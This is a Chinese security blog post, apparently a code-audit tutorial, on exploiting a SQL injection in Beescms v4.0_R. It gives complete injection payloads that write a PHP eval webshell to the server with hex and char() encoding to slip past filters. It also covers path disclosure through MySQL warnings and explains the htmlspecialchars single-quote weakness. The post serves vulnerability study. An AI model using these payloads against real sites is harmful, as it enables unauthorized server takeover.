Author:ohlinge@i春秋

0x01 前言

本文承接上一篇:【代碼審計初探】Beescms v4.0_R SQL注入

在上一篇中,詳細的介紹到了SQL注入產生的條件和原因,而對利用方法的思考還是有局限性,沒有達到效果。另外對于單引號的引入問題還不是很明確。在這篇,我們繼續對這一處SQL注入進行分析。

0x02 Mysql注入的一個特性

上篇分析到,由于函數fl_html()的影響,其實就是php函數htmlspecialchars(),導致不能寫shell到目標機器。其實這里利用Mysql注入的一個特性就可以達到注入的效果。即對shell部分進行Hex編碼,或者用mysql函數char()就可以輕松繞過這里的限制。

方法一 hex編碼

我們寫入shell的語句是:

user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into? outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

對shell部分進行hex編碼為,這里我們采用Python簡單編碼:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'

寫入shell的payload為:

user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into? outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

記得在編碼轉換的時候前面加0x或者直接用函數unhex亦可。

unhex(3c3f70687020406576616c28245f504f53545b615d293b203f3e)

然后通過Burpsuit修改數據包寫入,如圖所示:

本地查看寫入的文件如圖:

可以看到在爆出密碼的同時寫入了webshell,下面我們嘗試用菜刀鏈接,成功拿到webshell:

方法二 使用char函數

Mysql內置函數char()可以將里邊的ascii碼參數轉換為字符串,同樣是上面編寫的webshell轉換成ascii的形式,這里我們用Python實現快速轉換:

>>> map(ord, "<?php @eval($_POST[a]); ?>")
[60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62]

然后我們的注入語句就可以寫作:

user=admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62)? in into? outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

同樣我們看看執行后的結果是成功寫入了webshell:

本地加入的a.php文件內容:

成功拿到webshell

這里需要注意,有時候用char函數時,會出現亂碼的情況,這個時候就需要將兩種方式結合起來,采用下面的形式即可避免亂碼出現:

unhex(char(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62))

以上兩種方式就可以成功繞過一些敏感字符過濾,從而正常寫入webshell。

0x03 絕對路徑問題

正如@zusheng 師傅在上篇的評論,前面的測試均是在本地測試的,有個問題就是本地文件絕對路徑我們是知道的,但是遠程情況下,我們不知道網站絕對路徑。在這種情況下我們是不是就沒有辦法繼續了?其實不然,足夠細心的話你會發現前面有張圖里邊已經有絕對路徑出現了,沒錯,就是Burpsuit執行注入語句那張圖。那么我們就知道了,需要讓mysql出現Warring就可以得到路徑了。

比如還是寫shell的語句,不知道路徑的情況下隨便寫一個不存在的路徑也可以達到效果,如下圖:

方法很多,多多嘗試總會有新發現的!

0x04 對單引號問題的思考

上篇中有評論到單引號的問題,就是說既然htmlspecialchars函數過濾掉了單引號,那么注入語句中的單引號是怎么引入的? 針對這個問題,我查閱了一些資料,也在本地測試此函數,得出了一個結果,就是在默認情況下,函數只解析雙引號,如圖:

那既然這樣的話,代碼中這樣寫的話htmlspecialchars(str),都存在單引號引入的問題。 我們看看Beescms里邊的寫法,定位到函數 fl_html : (位于/includes/fun.php下面)

function fl_html($str){
????????return htmlspecialchars($str);
}

可以看到的確是這樣寫的,證明了單引號引入的問題。

0x05 總結

看似簡單的審計過程,其實其中涵蓋的知識點很多。像上面涉及到的PHP語法、Mysql、網站絕對路勁爆破以及利用Python來方便自己的工作等等,大多數都是要靠我們平時多積累。而且要懂得變通,就像在本篇中的mysql注入的利用技巧,單引號注入問題都很常見,但是如果我們了解不夠深刻的話,還是很難成功地審計一款系統的。希望對你有所收獲。

原文地址:http://bbs.ichunqiu.com/thread-13606-1-1.html?from=seebug


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/83/